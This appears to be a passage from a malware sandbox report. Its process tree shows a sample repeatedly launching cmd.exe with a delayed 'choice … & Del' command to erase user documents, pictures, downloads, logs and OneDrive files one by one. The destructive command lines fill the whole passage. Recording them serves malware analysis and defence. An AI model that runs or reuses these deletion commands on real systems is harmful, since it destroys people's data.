C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2364
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2022_x86_000_vcRuntimeMinimum_x86.log"2⤵
- Suspicious use of WriteProcessMemory
PID:3784 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4644
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\vcredist2022_x86_001_vcRuntimeAdditional_x86.log"2⤵
- Suspicious use of WriteProcessMemory
PID:4136 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3776
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Desktop\ExpandOut.odt"2⤵PID:3724
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14040
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Desktop\PushApprove.php"2⤵PID:3828
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14164
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Desktop\TestStart.txt"2⤵PID:2092
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14048
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\Are.docx"2⤵PID:1360
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3580
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\EnableStart.odt"2⤵PID:836
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14148
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\Files.docx"2⤵PID:1016
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14172
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\Opened.docx"2⤵PID:4600
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14200
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\PublishWatch.html"2⤵PID:2736
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2096
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\Recently.docx"2⤵PID:1088
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1452
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\RenameUnlock.ppt"2⤵PID:3216
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14108
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\These.docx"2⤵PID:4608
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:720
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\UnprotectSelect.pdf"2⤵PID:2000
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14156
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Downloads\CompressUnblock.xml"2⤵PID:4760
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14100
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Downloads\EditSkip.sql"2⤵PID:4612
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14212
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Downloads\ExpandEnter.csv"2⤵PID:436
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14092
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Downloads\SaveCompare.pptx"2⤵PID:2532
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14308
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Downloads\SetHide.pptx"2⤵PID:804
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14940
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Links\Desktop.lnk"2⤵PID:4584
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2364
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Links\Downloads.lnk"2⤵PID:1044
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3064
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Music\GetUninstall.pdf"2⤵PID:3532
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4060
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Music\TestRequest.php"2⤵PID:4020
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14340
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Pictures\AddOpen.bmp"2⤵PID:4752
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14452
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Pictures\My Wallpaper.jpg"2⤵PID:4344
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14228
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Pictures\OpenConfirm.jpg"2⤵PID:384
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14236
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Pictures\OptimizeHide.bmp"2⤵PID:1644
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14244
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Pictures\OutResize.png"2⤵PID:3656
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14252
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Pictures\UpdateReset.bmp"2⤵PID:628
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14680
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Pictures\WatchSearch.bmp"2⤵PID:2168
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14272
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\CheckpointRead.xls"2⤵PID:1448
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14352
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\ResetPop.pptx"2⤵PID:2560
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14260
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\BroadcastMsg_1714135627.txt"2⤵PID:676
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14480
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\dd_NDP472-KB4054530-x86-x64-AllOS-ENU_decompression_log.txt"2⤵PID:1808
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15068
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI473A.txt"2⤵PID:3792
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14692
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI475A.txt"2⤵PID:4708
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15260
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI473A.txt"2⤵PID:4916
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15108
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI475A.txt"2⤵PID:4700
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15060
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\jawshtml.html"2⤵PID:5124
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4520
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Microsoft .NET Framework 4.7.2 Setup_20240426_124230482.html"2⤵PID:5148
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14576
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\brndlog.txt"2⤵PID:5168
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14528
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.VisualElementsManifest.xml"2⤵PID:5180
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16300
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt"2⤵PID:5196
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15004
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\edge_shutdown_ms.txt"2⤵PID:5212
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4540
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml"2⤵PID:5224
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14964
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml"2⤵PID:5240
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3640
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\msoia.exe_Rules.xml"2⤵PID:5256
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14700
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\office2016setup.exe_Rules.xml"2⤵PID:5276
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15132
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml"2⤵PID:5288
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15596
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\onenote.exe_Rules.xml"2⤵PID:5300
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:552
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\winword.exe_Rules.xml"2⤵PID:5328
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14488
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\alertIcon.png"2⤵PID:5348
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14796
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppBlue.png"2⤵PID:5372
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15196
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppErrorBlue.png"2⤵PID:5388
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3160
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppErrorWhite.png"2⤵PID:5408
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:5116
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppWhite.png"2⤵PID:5424
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3952
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AutoPlayOptIn.png"2⤵PID:5436
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4168
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ElevatedAppBlue.png"2⤵PID:5456
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15172
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ElevatedAppWhite.png"2⤵PID:5480
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16080
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Error.png"2⤵PID:5500
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14932
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ErrorPage.html"2⤵PID:5516
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14600
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\KFMHeroToast.png"2⤵PID:5540
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14408
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\KFMLockedFileToast.png"2⤵PID:5556
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16236
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\KFMScanExclusionToast.png"2⤵PID:5584
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15204
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LoadingPage.html"2⤵PID:5604
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14820
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDriveLogo.png"2⤵PID:5620
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14372
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\QuotaCritical.png"2⤵PID:5648
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4960
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\QuotaError.png"2⤵PID:5664
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15180
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\QuotaNearing.png"2⤵PID:5684
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14948
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\TestSharePage.html"2⤵PID:5708
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14400
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ThirdPartyNotices.txt"2⤵PID:5732
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14664
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Warning.png"2⤵PID:5748
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15092
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-100.png"2⤵PID:5768
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3748
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-125.png"2⤵PID:5784
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4444
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-150.png"2⤵PID:5800
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4572
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-200.png"2⤵PID:5828
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15252
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-400.png"2⤵PID:5840
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3256
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-100.png"2⤵PID:5860
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14460
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-125.png"2⤵PID:5880
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15808
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-150.png"2⤵PID:5896
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3932
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-200.png"2⤵PID:5912
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2008
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-400.png"2⤵PID:5928
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2992
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-100.png"2⤵PID:5952
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16072
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-125.png"2⤵PID:5968
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:5016
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-150.png"2⤵PID:5988
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3848
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-200.png"2⤵PID:6024
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14980
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-400.png"2⤵PID:6036
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15124
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-100.png"2⤵PID:6048
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3800
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-125.png"2⤵PID:6060
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15140
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-150.png"2⤵PID:6072
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14496
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-200.png"2⤵PID:6088
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1792
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-400.png"2⤵PID:6108
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15156
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-100.png"2⤵PID:6128
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14884
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-125.png"2⤵PID:4844
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14640
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-150.png"2⤵PID:2936
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14892
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-200.png"2⤵PID:588
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1652
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-white_scale-400.png"2⤵PID:3212
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15100
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-100.png"2⤵PID:5492
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15212
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-125.png"2⤵PID:6152
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14468
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-150.png"2⤵PID:6168
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14788
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-200.png"2⤵PID:6188
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15704
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.scale-400.png"2⤵PID:6208
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15220
-
